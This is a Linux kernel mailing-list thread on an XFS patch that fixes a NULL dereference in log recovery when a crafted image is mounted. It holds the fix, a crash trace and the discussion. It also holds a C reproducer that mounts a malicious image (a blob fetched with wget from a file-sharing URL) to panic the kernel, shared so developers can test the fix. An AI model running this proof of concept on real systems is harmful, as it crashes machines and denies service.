[PATCH] xfs: reject log continuation for a header-only item in recovery

[PATCH] xfs: reject log continuation for a header-only item in recovery

[Xiang Mei]

On an XLOG_WAS_CONT_TRANS op, xlog_recover_add_to_cont_trans() extends the
tail item's last region via item->ri_buf[item->ri_cnt-1] without checking
that the item has one. A header-only item, created by
xlog_recover_add_to_trans() when a transaction's first op is a bare
sizeof(struct xfs_trans_header) op carrying XFS_TRANS_HEADER_MAGIC, sits on
r_itemq with ri_cnt == 0 and ri_buf == NULL. A crafted log whose ops are
XLOG_START_TRANS, that header op, then XLOG_WAS_CONT_TRANS thus
dereferences ((struct kvec *)NULL)[-1] and faults during mount(2) log
recovery of an untrusted XFS image.

A valid XLOG_WAS_CONT_TRANS only follows a region written with
XLOG_CONTINUE_TRANS, so ri_cnt >= 1 always holds for a real log. Reject the
ri_cnt == 0 case as corruption with -EFSCORRUPTED, which the caller already
propagates to abort recovery.

  BUG: unable to handle page fault for address: fffffffffffffff0
  #PF: supervisor read access in kernel mode
  Oops: 0000 [#1] SMP KASAN NOPTI
  RIP: 0010:xlog_recover_add_to_cont_trans (fs/xfs/xfs_log_recover.c:2135)
  Call Trace:
   xlog_recovery_process_trans (fs/xfs/xfs_log_recover.c:2306)
   xlog_recover_process_data (fs/xfs/xfs_log_recover.c:2500)
   xlog_do_recovery_pass (fs/xfs/xfs_log_recover.c:3243)
   xlog_do_log_recovery (fs/xfs/xfs_log_recover.c:3331)
   xlog_do_recover (fs/xfs/xfs_log_recover.c:3368)
   xlog_recover (fs/xfs/xfs_log_recover.c:3493)
   xfs_log_mount (fs/xfs/xfs_log.c:617)
   xfs_mountfs (fs/xfs/xfs_mount.c:1031)
   xfs_fs_fill_super (fs/xfs/xfs_super.c:1940)
   get_tree_bdev_flags (fs/super.c:1634)
   vfs_get_tree (fs/super.c:1694)
   fc_mount (fs/namespace.c:1198)
   path_mount (fs/namespace.c:4161)
   __x64_sys_mount (fs/namespace.c:4367)
   do_syscall_64 (arch/x86/entry/syscall_64.c:94)
   entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
  Kernel panic - not syncing: Fatal exception

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 fs/xfs/xfs_log_recover.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c
index 5f984bf5698a..fa8e04bf1aac 100644
--- a/fs/xfs/xfs_log_recover.c
+++ b/fs/xfs/xfs_log_recover.c
@@ -2131,6 +2131,9 @@ xlog_recover_add_to_cont_trans(
 	item = list_entry(trans->r_itemq.prev, struct xlog_recover_item,
 			  ri_list);
 
+	if (item->ri_cnt == 0)
+		return -EFSCORRUPTED;
+
 	old_ptr = item->ri_buf[item->ri_cnt-1].iov_base;
 	old_len = item->ri_buf[item->ri_cnt-1].iov_len;
 
-- 
2.43.0

Re: [PATCH] xfs: reject log continuation for a header-only item in recovery

[Christoph Hellwig]

On Sun, Jul 12, 2026 at 03:08:54PM -0700, Xiang Mei wrote:
> On an XLOG_WAS_CONT_TRANS op, xlog_recover_add_to_cont_trans() extends the
> tail item's last region via item->ri_buf[item->ri_cnt-1] without checking
> that the item has one. A header-only item, created by
> xlog_recover_add_to_trans() when a transaction's first op is a bare
> sizeof(struct xfs_trans_header) op carrying XFS_TRANS_HEADER_MAGIC, sits on
> r_itemq with ri_cnt == 0 and ri_buf == NULL. A crafted log whose ops are
> XLOG_START_TRANS, that header op, then XLOG_WAS_CONT_TRANS thus
> dereferences ((struct kvec *)NULL)[-1] and faults during mount(2) log
> recovery of an untrusted XFS image.
> 
> A valid XLOG_WAS_CONT_TRANS only follows a region written with
> XLOG_CONTINUE_TRANS, so ri_cnt >= 1 always holds for a real log. Reject the
> ri_cnt == 0 case as corruption with -EFSCORRUPTED, which the caller already
> propagates to abort recovery.

Looks good:

Reviewed-by: Christoph Hellwig <hch@lst.de>

Can you share your code to generate these malformed logs?  Because it
would be really useful  to test these conditions regularly in xfstests..

Re: [PATCH] xfs: reject log continuation for a header-only item in recovery

[Xiang Mei]

On Mon, Jul 13, 2026 at 2:12 AM Christoph Hellwig <hch@infradead.org> wrote:
>
> On Sun, Jul 12, 2026 at 03:08:54PM -0700, Xiang Mei wrote:
> > On an XLOG_WAS_CONT_TRANS op, xlog_recover_add_to_cont_trans() extends the
> > tail item's last region via item->ri_buf[item->ri_cnt-1] without checking
> > that the item has one. A header-only item, created by
> > xlog_recover_add_to_trans() when a transaction's first op is a bare
> > sizeof(struct xfs_trans_header) op carrying XFS_TRANS_HEADER_MAGIC, sits on
> > r_itemq with ri_cnt == 0 and ri_buf == NULL. A crafted log whose ops are
> > XLOG_START_TRANS, that header op, then XLOG_WAS_CONT_TRANS thus
> > dereferences ((struct kvec *)NULL)[-1] and faults during mount(2) log
> > recovery of an untrusted XFS image.
> >
> > A valid XLOG_WAS_CONT_TRANS only follows a region written with
> > XLOG_CONTINUE_TRANS, so ri_cnt >= 1 always holds for a real log. Reject the
> > ri_cnt == 0 case as corruption with -EFSCORRUPTED, which the caller already
> > propagates to abort recovery.
>
> Looks good:
>
> Reviewed-by: Christoph Hellwig <hch@lst.de>
>
> Can you share your code to generate these malformed logs?  Because it
> would be really useful  to test these conditions regularly in xfstests..
>

Of course. Here is some information to reproduce the bug:

1. CONFIGS:
```
CONFIG_XFS_FS=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=0
CONFIG_TMPFS=y
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
```

2. Reproducer (gcc ./exp.c -o ./exploit -lpthread -static -lz -w)
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <linux/loop.h>
#include <zlib.h>

#include "img_blob.h"

#define IMG_PATH  "/tmp/poc.img"
#define MNT_PATH  "/tmp/mnt"

static void die(const char *m) { perror(m); exit(1); }

static void inflate_image(void)
{
    unsigned char *out = malloc(IMG_ORIG_SIZE);
    if (!out) die("malloc");

    z_stream zs;
    memset(&zs, 0, sizeof(zs));
    zs.next_in = (unsigned char *)img_gz;
    zs.avail_in = img_gz_len;
    zs.next_out = out;
    zs.avail_out = IMG_ORIG_SIZE;

    if (inflateInit2(&zs, 15 + 16) != Z_OK) die("inflateInit2");
    if (inflate(&zs, Z_FINISH) != Z_STREAM_END) die("inflate");
    inflateEnd(&zs);

    int fd = open(IMG_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) die("open img");
    if (write(fd, out, zs.total_out) != (ssize_t)zs.total_out) die("write img");
    close(fd);
    free(out);
}

int main(void)
{
    char loopdev[64];

    inflate_image();
    mkdir(MNT_PATH, 0755);

    int ctl = open("/dev/loop-control", O_RDWR);
    int devnr = ioctl(ctl, LOOP_CTL_GET_FREE);
    close(ctl);
    snprintf(loopdev, sizeof(loopdev), "/dev/loop%d", devnr);

    int filefd = open(IMG_PATH, O_RDWR);
    if (filefd < 0) die("open img for loop");

    int loopfd = open(loopdev, O_RDWR);
    if (loopfd < 0) die("open loopdev");
    if (ioctl(loopfd, LOOP_SET_FD, filefd) < 0) die("LOOP_SET_FD");
    close(filefd);

    mount(loopdev, MNT_PATH, "xfs", 0, "");

    umount(MNT_PATH);
    ioctl(loopfd, LOOP_CLR_FD, 0);
    close(loopfd);
    return 0;
}

```

Please compile after `wget https://filebin.net/68g43o706i6a5qw5/img_blob.h`
Please tell me if you need more information to reproduce the bug.

Xiang

Re: [PATCH] xfs: reject log continuation for a header-only item in recovery

[Darrick J. Wong]

On Sun, Jul 12, 2026 at 03:08:54PM -0700, Xiang Mei wrote:
> On an XLOG_WAS_CONT_TRANS op, xlog_recover_add_to_cont_trans() extends the
> tail item's last region via item->ri_buf[item->ri_cnt-1] without checking
> that the item has one. A header-only item, created by
> xlog_recover_add_to_trans() when a transaction's first op is a bare
> sizeof(struct xfs_trans_header) op carrying XFS_TRANS_HEADER_MAGIC, sits on
> r_itemq with ri_cnt == 0 and ri_buf == NULL. A crafted log whose ops are
> XLOG_START_TRANS, that header op, then XLOG_WAS_CONT_TRANS thus
> dereferences ((struct kvec *)NULL)[-1] and faults during mount(2) log
> recovery of an untrusted XFS image.
> 
> A valid XLOG_WAS_CONT_TRANS only follows a region written with
> XLOG_CONTINUE_TRANS, so ri_cnt >= 1 always holds for a real log. Reject the
> ri_cnt == 0 case as corruption with -EFSCORRUPTED, which the caller already
> propagates to abort recovery.
> 
>   BUG: unable to handle page fault for address: fffffffffffffff0
>   #PF: supervisor read access in kernel mode
>   Oops: 0000 [#1] SMP KASAN NOPTI
>   RIP: 0010:xlog_recover_add_to_cont_trans (fs/xfs/xfs_log_recover.c:2135)
>   Call Trace:
>    xlog_recovery_process_trans (fs/xfs/xfs_log_recover.c:2306)
>    xlog_recover_process_data (fs/xfs/xfs_log_recover.c:2500)
>    xlog_do_recovery_pass (fs/xfs/xfs_log_recover.c:3243)
>    xlog_do_log_recovery (fs/xfs/xfs_log_recover.c:3331)
>    xlog_do_recover (fs/xfs/xfs_log_recover.c:3368)
>    xlog_recover (fs/xfs/xfs_log_recover.c:3493)
>    xfs_log_mount (fs/xfs/xfs_log.c:617)
>    xfs_mountfs (fs/xfs/xfs_mount.c:1031)
>    xfs_fs_fill_super (fs/xfs/xfs_super.c:1940)
>    get_tree_bdev_flags (fs/super.c:1634)
>    vfs_get_tree (fs/super.c:1694)
>    fc_mount (fs/namespace.c:1198)
>    path_mount (fs/namespace.c:4161)
>    __x64_sys_mount (fs/namespace.c:4367)
>    do_syscall_64 (arch/x86/entry/syscall_64.c:94)
>    entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
>   Kernel panic - not syncing: Fatal exception
> 
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  fs/xfs/xfs_log_recover.c | 3 +++
>  1 file changed, 3 insertions(+)
> 
> diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c
> index 5f984bf5698a..fa8e04bf1aac 100644
> --- a/fs/xfs/xfs_log_recover.c
> +++ b/fs/xfs/xfs_log_recover.c
> @@ -2131,6 +2131,9 @@ xlog_recover_add_to_cont_trans(
>  	item = list_entry(trans->r_itemq.prev, struct xlog_recover_item,
>  			  ri_list);
>  
> +	if (item->ri_cnt == 0)
> +		return -EFSCORRUPTED;

Didn't Weiming Shi already post a similar patch?  Is this a duplicate,
or a complement?

--D

> +
>  	old_ptr = item->ri_buf[item->ri_cnt-1].iov_base;
>  	old_len = item->ri_buf[item->ri_cnt-1].iov_len;
>  
> -- 
> 2.43.0
> 
> 

Re: [PATCH] xfs: reject log continuation for a header-only item in recovery

[Xiang Mei]

On Mon, Jul 13, 2026 at 3:57 PM Darrick J. Wong <djwong@kernel.org> wrote:
>
> On Sun, Jul 12, 2026 at 03:08:54PM -0700, Xiang Mei wrote:
> > On an XLOG_WAS_CONT_TRANS op, xlog_recover_add_to_cont_trans() extends the
> > tail item's last region via item->ri_buf[item->ri_cnt-1] without checking
> > that the item has one. A header-only item, created by
> > xlog_recover_add_to_trans() when a transaction's first op is a bare
> > sizeof(struct xfs_trans_header) op carrying XFS_TRANS_HEADER_MAGIC, sits on
> > r_itemq with ri_cnt == 0 and ri_buf == NULL. A crafted log whose ops are
> > XLOG_START_TRANS, that header op, then XLOG_WAS_CONT_TRANS thus
> > dereferences ((struct kvec *)NULL)[-1] and faults during mount(2) log
> > recovery of an untrusted XFS image.
> >
> > A valid XLOG_WAS_CONT_TRANS only follows a region written with
> > XLOG_CONTINUE_TRANS, so ri_cnt >= 1 always holds for a real log. Reject the
> > ri_cnt == 0 case as corruption with -EFSCORRUPTED, which the caller already
> > propagates to abort recovery.
> >
> >   BUG: unable to handle page fault for address: fffffffffffffff0
> >   #PF: supervisor read access in kernel mode
> >   Oops: 0000 [#1] SMP KASAN NOPTI
> >   RIP: 0010:xlog_recover_add_to_cont_trans (fs/xfs/xfs_log_recover.c:2135)
> >   Call Trace:
> >    xlog_recovery_process_trans (fs/xfs/xfs_log_recover.c:2306)
> >    xlog_recover_process_data (fs/xfs/xfs_log_recover.c:2500)
> >    xlog_do_recovery_pass (fs/xfs/xfs_log_recover.c:3243)
> >    xlog_do_log_recovery (fs/xfs/xfs_log_recover.c:3331)
> >    xlog_do_recover (fs/xfs/xfs_log_recover.c:3368)
> >    xlog_recover (fs/xfs/xfs_log_recover.c:3493)
> >    xfs_log_mount (fs/xfs/xfs_log.c:617)
> >    xfs_mountfs (fs/xfs/xfs_mount.c:1031)
> >    xfs_fs_fill_super (fs/xfs/xfs_super.c:1940)
> >    get_tree_bdev_flags (fs/super.c:1634)
> >    vfs_get_tree (fs/super.c:1694)
> >    fc_mount (fs/namespace.c:1198)
> >    path_mount (fs/namespace.c:4161)
> >    __x64_sys_mount (fs/namespace.c:4367)
> >    do_syscall_64 (arch/x86/entry/syscall_64.c:94)
> >    entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
> >   Kernel panic - not syncing: Fatal exception
> >
> > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Assisted-by: Claude:claude-opus-4-8
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > ---
> >  fs/xfs/xfs_log_recover.c | 3 +++
> >  1 file changed, 3 insertions(+)
> >
> > diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c
> > index 5f984bf5698a..fa8e04bf1aac 100644
> > --- a/fs/xfs/xfs_log_recover.c
> > +++ b/fs/xfs/xfs_log_recover.c
> > @@ -2131,6 +2131,9 @@ xlog_recover_add_to_cont_trans(
> >       item = list_entry(trans->r_itemq.prev, struct xlog_recover_item,
> >                         ri_list);
> >
> > +     if (item->ri_cnt == 0)
> > +             return -EFSCORRUPTED;
>
> Didn't Weiming Shi already post a similar patch?  Is this a duplicate,
> or a complement?
>
> --D
>

Thanks for the reminder. Weiming and I both pulled one crash from the
to-report dataset: The crashes are different, but they could share the
same root cause.

After investigation, I found it's a complement. Same root cause: a
header-only item left on r_itemq with ri_cnt == 0 and ri_buf == NULL.
Proved by crashing the kernel with:

https://lore.kernel.org/linux-xfs/178342425117.389943.13021791343607135682.b4-ty@b4/

Weiming's v3 3/3 guards xlog_recover_reorder_trans(), which only runs
from xlog_recover_commit_trans() on an XLOG_COMMIT_TRANS op. This
patch guards xlog_recover_add_to_cont_trans(), reached from the
separate XLOG_WAS_CONT_TRANS case in xlog_recovery_process_trans().
Please let me know if you want us to merge them into one series.

Xiang
> > +
> >       old_ptr = item->ri_buf[item->ri_cnt-1].iov_base;
> >       old_len = item->ri_buf[item->ri_cnt-1].iov_len;
> >
> > --
> > 2.43.0
> >
> >